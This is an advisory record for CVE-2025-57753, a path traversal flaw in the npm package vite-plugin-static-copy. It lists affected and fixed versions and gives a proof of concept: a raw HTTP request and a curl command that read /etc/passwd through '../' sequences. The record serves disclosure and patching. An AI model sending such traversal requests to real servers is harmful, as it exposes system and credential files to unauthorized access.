{"id":"CVE-2025-57753","aliases":["GHSA-pp7p-q8fx-2968"],"url":"https://o3.security/vulnerability/CVE-2025-57753","summary":"vite-plugin-static-copy files not included in `src` are accessible with a crafted request","details":"### Summary\n\nFiles not included in `src` was possible to access with a crafted request.\n\n### Impact\n\nOnly apps explicitly exposing the Vite dev server to the network (using --host or [server.host config option](https://vitejs.dev/config/server-options.html#server-host)) are affected.\n\nArbitrary files can be disclosed by exploiting this vulnerability.\n\n### Details\n\nConsider the following configuration in used by `vite.config.ts`:\n\n```ts\nimport { defineConfig } from 'vite'\nimport { viteStaticCopy } from 'vite-plugin-static-copy'\n\nexport default defineConfig({\n    plugins: [\n      viteStaticCopy({\n        targets: [\n          {\n            src: \"./public/images\",\n            dest: \"./\",\n          },\n        ],\n      }),\n    ],\n  });\n```\n\nThe files under the `./public/images` is only expected to be served. Abusing this vulnerability, an attacker can access arbitrary files on the filesystem.\n\n### PoC\nI've attached a demo app to showcase the bug.\n\nRun it with `npm run dev` and issue the following HTTP request\n\n```\nGET /static/images/../../../../../../../etc/passwd HTTP/1.1\nHost: localhost:3001\nContent-Length: 2\n```\nOR \n```\ncurl --path-as-is -i -s -k -X $'GET' \\\n    -H $'Host: localhost:3001' -H $'Content-Length: 2' \\\n    --data-binary $'\\x0d\\x0a' \\\n    $'http://localhost:3001/static/images/../../../../../../../etc/passwd'\n```\nObserve that the `/etc/passwd` file is included in the response.\n\n<img width=\"1289\" height=\"449\" alt=\"Screenshot 2025-08-16 at 10 27 11 PM\" src=\"https://github.com/user-attachments/assets/4de12612-7b86-44d7-a403-c76f12832e37\" />","published":"2025-08-21T16:03:04.804Z","modified":"2026-08-12T03:51:21.627170380Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"vite-plugin-static-copy","fixedVersion":"3.1.2"},{"ecosystem":"npm","name":"vite-plugin-static-copy","fixedVersion":"2.3.2"}],"fix":{"url":"https://github.com/sapphi-red/vite-plugin-static-copy/commit/0bc6b49ed72b46eecfc9682045f4b46a19694969","label":"sapphi-red/vite-plugin-static-copy@0bc6b49"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/57xxx/CVE-2025-57753.json"},{"type":"ADVISORY","url":"https://github.com/sapphi-red/vite-plugin-static-copy/security/advisories/GHSA-pp7p-q8fx-2968"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-57753"},{"type":"WEB","url":"https://github.com/sapphi-red/vite-plugin-static-copy/commit/0bc6b49ed72b46eecfc9682045f4b46a19694969"},{"type":"WEB","url":"https://github.com/sapphi-red/vite-plugin-static-copy/commit/4627afb8582083eab733881d3d974e1c1f23997d"},{"type":"PACKAGE","url":"https://github.com/sapphi-red/vite-plugin-static-copy"},{"type":"WEB","url":"https://github.com/sapphi-red/vite-plugin-static-copy/releases/tag/vite-plugin-static-copy%402.3.2"},{"type":"WEB","url":"https://github.com/sapphi-red/vite-plugin-static-copy/releases/tag/vite-plugin-static-copy%403.1.2"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:21.627170380Z"}}
